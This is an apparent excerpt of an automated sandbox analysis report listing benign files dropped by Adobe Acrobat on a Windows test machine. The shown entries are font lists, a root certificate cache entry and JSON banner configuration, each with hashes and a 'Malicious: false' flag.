SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkltM+EttfllXlE/HT8kiQtNNX8RolJuRdxLlGB9lQRYwpDdt:kKVpteT8ENMa8RdWBwRd
MD5:	F3BB6E400FE68B0C2FFF39E317D6215F
SHA1:	7431829B61E2837E473FDE42883FB80BF39347A1
SHA-256:	7D89E8CA11A2693A7A1F4F473C6FAAB8A5A958BC78A9F002A93893F82797E2F1
SHA-512:	08701675DB34161F4FB32D06638F605B0BBA4086C2786FB2EAA816C4185C4871115781C324E410D2C90FE1D8A8F5858208C3CFB2FD4CE123968CA5CC99C7AD15
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3338712827873955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJM3g98kUwPeUkwRe9:YvXKXAdY4v2Zc0vwZGMbLUkee9
MD5:	6050660BF5F95A2B37EBB8B64401F271
SHA1:	7E32F0472A2C1F21312D39874C74B5D346FE5888
SHA-256:	72B985B77E4B4305C61EE0BA02FDA4DF55A40398D8A876C8F9AACA776843A501
SHA-512:	20676B1EDEEDFD433F8127BC805D45BF369429AADE608E1DE074564AC1080267E5D5694F2BF3CDAAC0099ED8582909A6C1CBC606644D326D80B812F5E25B0766
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283132207357585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfBoTfXpnrPeUkwRe9:YvXKXAdY4v2Zc0vwZGWTfXcUkee9
MD5:	8DD1EB9ED34AC074C2DD8BC7B70B8166
SHA1:	C35EC4D9F5F76959311C88FC9BD77ACA6457B5EF
SHA-256:	AECDB0404A08303712C6A41B483C30636CCFE7B3519549AA6EFDB5683BE0BA0F
SHA-512:	ED776997DF28A5066B4E06FC503DA610C7581452B6958F1B7484CC519CF83C13783C91C85AAFF7BB9592092421CEA34A2808C4BDDED6DFDFAE920BDAC05BA328
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26168052388359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfBD2G6UpnrPeUkwRe9:YvXKXAdY4v2Zc0vwZGR22cUkee9
MD5:	B4D303D17D8AFBB3ABCCE6808C879A6A
SHA1:	66DED9712EDBC473CFA6BB4F89AA5E693188E2CD
SHA-256:	DE3645CAF626DB91949A0F8CC398E421E051F19BC25FD8005C93965EB5B7679F
SHA-512:	4A13C3DE7CD009C77C2C3112F831D044EF4E26D63A48B784BB95DB475D93CEA8D73D0CAE7641CEBC0FC249776735658629E4242C1EC52B7E5BEE6C053287E94E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.319846978332386
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfPmwrPeUkwRe9:YvXKXAdY4v2Zc0vwZGH56Ukee9
MD5:	F67A3BECF17E85CC112C265D3649DF00
SHA1:	00D9BE6DCBA299810C613DCFB54F0B4233804A52
SHA-256:	A430FA0393014A655DED3646766E2705AD0A3B1785B363D4AAEF90042FBCFF18
SHA-512:	05DE22FFC500D98AF182BA8E98D89A345033A1D23F17EC5445583F7F4392B49AD123001ED018C0CECDBFB1454AA9884A78EBC7A8A77E44B37E65E52B51DE3E00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683820344703562
Encrypted:	false
SSDEEP:	24:Yv6XAO22zvw+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSH:YvS2uY+hgy6SAFv5Ah8cv/H
MD5:	BA75307189F290C8982E74864008B4A7
SHA1:	29474844695D8C24FB22F1B14219D700DAECF2EF
SHA-256:	CDED4C7FA90779F163B098E406E241095EA3EF8B4F93F12A789482B5C9CBEB4D
SHA-512:	46C6546EF462953D0C29A66B41A86451CCFE6808F58738B68C0C1FF8F270FB086870B45464D094D3D7105BBA4A09189987F0546B81B5BB94CF242FCE8F0ECAA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2635697779280575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJf8dPeUkwRe9:YvXKXAdY4v2Zc0vwZGU8Ukee9
MD5:	D0CB024862F7B7600739274FAE159991
SHA1:	B75D930A7CD4EA4EA49A16FDF2C0778F991D7306
SHA-256:	503826A70558DA3730CA3879132E808A3447D2C0114C9460E36E682E2167CE61
SHA-512:	DB0FDF037F130B89A308712835E30B0EF222C736A4A8A27EEC87BB2F60A8B620739912F00F5CFD33BB8581811DDEB64226A7CCE9FC8AB64A5A12D1E13C8386D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268135496051249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfQ1rPeUkwRe9:YvXKXAdY4v2Zc0vwZGY16Ukee9
MD5:	B588153F3A44CA49A29136D98438D5E3
SHA1:	4C070E7DBBD66EB15F3E0F994A362812E370EA9C
SHA-256:	981FE17590A939F197022F880319B5D7141AEB40CA21E3EEB9012238079FE52F
SHA-512:	33982924A6B6581B1542E8A81E2F4BE60BA55040402390674DF6F2C5F53131EF08C637010C843C7BC3D25506AE2B1C42F83886A32C3349FA4959FBA62075EF5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271321370581639
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfFldPeUkwRe9:YvXKXAdY4v2Zc0vwZGz8Ukee9
MD5:	476F1690A821C24D9D8C4FAB0D5130F4
SHA1:	665B63D838B68FEE4278DDFA9CB665BADD6F6CE4
SHA-256:	C2F71208BE37F7B0292687C3DC1009F403F45B0D8BAC9C73382563CA85C4E2F4
SHA-512:	9F6D5EF12A9925F8C1F1328988A772F87E2C6D9405702628D7B9561E542E579BE444EF0BD73211678DB4ACAF9D483A4D3ECF7791DCDD636E3298F4EF9308C883
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289558039501397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfzdPeUkwRe9:YvXKXAdY4v2Zc0vwZGb8Ukee9
MD5:	C2BF5E508B3E066B8D1B47C464975788
SHA1:	F7206C3E411556CEF69A316A73C201F5ACF513B5
SHA-256:	F3F75C1A9F27066C90788EAEDFEAA8622349C4AEEB33B836E29C28D2CF9D5120
SHA-512:	93D61D5B20EFA09B8B048118291888B2DE53D52596C55DECB339C3BD364437767F38124193C25E13D63DDFA6BA90FDFCB7452B8E904219D4BCBA71C751E55011
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269860458801927
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfYdPeUkwRe9:YvXKXAdY4v2Zc0vwZGg8Ukee9
MD5:	CC1F6F692351C9B1ECBDB76A1CFD6B70
SHA1:	1AE1CB19E387DAB313CE40A443F993CE6AC5E4F5
SHA-256:	907C603C4793413E89280A3A49E5681EBA75B87BB9EA114E7030A5B9FF142220
SHA-512:	113FB2D4887D116E35FFF5B3FC273DE70A87572D136B5BBA44E25506DC4BEC5154BF2E81DBDF9234CC43F5A92661EF671C7C895DB29CA72DE0A69B95DB212661
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.255679196827123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJf+dPeUkwRe9:YvXKXAdY4v2Zc0vwZG28Ukee9
MD5:	00791D804362809F1331893429A0DA03
SHA1:	CDFC71D604BD4BA5BC1682A54CFF484C9EE26032
SHA-256:	A5597E7D9D0C2F6CEDA96FD11C8980E79C76AAF8DC30D184AB52625375C19FAF
SHA-512:	166A3550922BB0620B574EC3744499EA14B3305E8CC3EF2D376A31C24E79AAED3630B31DB9E600B36A006CA638E011F505D64DBCB255A770042C84C50F24980D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2536147010888365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAdH44fHHVoZcg1vRcR0YiC5jeoAvJfbPtdPeUkwRe9:YvXKXAdY4v2Zc0vwZGDV8Ukee9
MD5:	020DBFD13EEAC47D37D6E3CA0A37ED00
SHA1:	B3539E1EB696390817AAF3E37118071A540953B3
SHA-256:	1D07A83EC337CA758756900E20694F0A5D9AD479F59A65E71B57CB863B6AC1FA
SHA-512:	2846F78F38BB72181B8A78EA93C083E999E3A1F86A2934917E1B4D684B51C6B7363077F3187C301BDB3613E032211C13A6ACDCC49B4B1F1F4F8A0B2599FFE481
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d72329d2-ccd4-400a-b4f5-2ad4e8a077eb","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736727675244,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.25814484305297
Encrypted:	false
